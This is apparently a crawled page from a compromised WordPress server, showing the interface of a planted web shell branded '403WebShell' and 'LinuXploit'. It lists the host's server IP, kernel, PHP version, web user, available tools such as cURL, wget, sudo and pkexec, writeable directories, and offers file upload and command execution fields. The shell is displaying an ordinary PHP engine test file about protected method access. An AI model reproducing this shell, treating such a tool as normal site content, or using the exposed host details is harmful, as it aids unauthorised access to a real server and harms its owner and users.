WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/Zend/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/Zend/tests//bug37632.phpt
--TEST--
Bug #37632 (Protected method access problem)
--FILE--
<?php

class A1
{
	protected function test()
	{
		echo __METHOD__ . "\n";
	}
}

class B1 extends A1
{
	public function doTest(A1 $obj)
	{
		echo __METHOD__ . "\n";
		$obj->test();
	}
}

class C1 extends A1
{
	protected function test()
	{
		echo __METHOD__ . "\n";
	}
}

$b = new B1;
$b->doTest(new C1);

class A2
{
	static protected function test()
	{
		echo __METHOD__ . "\n";
	}
}

class B2 extends A2
{
	static public function doTest(A2 $obj)
	{
		echo __METHOD__ . "\n";
		$obj->test();
	}
}

class C2 extends A2
{
	static protected function test()
	{
		echo __METHOD__ . "\n";
	}
}

B2::doTest(new C2);

/* Right now Ctor's cannot be made protected when defined in a ctor. That is
 * we cannot decrease visibility.
 *

interface Ctor
{
	function __construct($x);
}

class A3 implements Ctor
{
	protected function __construct()
	{
		echo __METHOD__ . "\n";
	}
}

class B3 extends A3
{
	static public function doTest()
	{
		echo __METHOD__ . "\n";
		new C3;
	}
}

class C3 extends A3
{
	protected function __construct()
	{
		echo __METHOD__ . "\n";
	}
}

B3::doTest();

*/

class A4
{
	protected function __construct()
	{
		echo __METHOD__ . "\n";
	}
}

class B4 extends A4
{
	static public function doTest()
	{
		echo __METHOD__ . "\n";
		new C4;
	}
}

class C4 extends A4
{
	protected function __construct()
	{
		echo __METHOD__ . "\n";
	}
}

B4::doTest();

?>
===DONE===
--EXPECTF--
B1::doTest
C1::test
B2::doTest
C2::test
B4::doTest

Fatal error: Uncaught Error: Call to protected C4::__construct() from context 'B4' in %sbug37632.php:%d
Stack trace:
#0 %s(%d): B4::doTest()
#1 {main}
  thrown in %sbug37632.php on line %d

Youez - 2016 - github.com/yon3zu
LinuXploit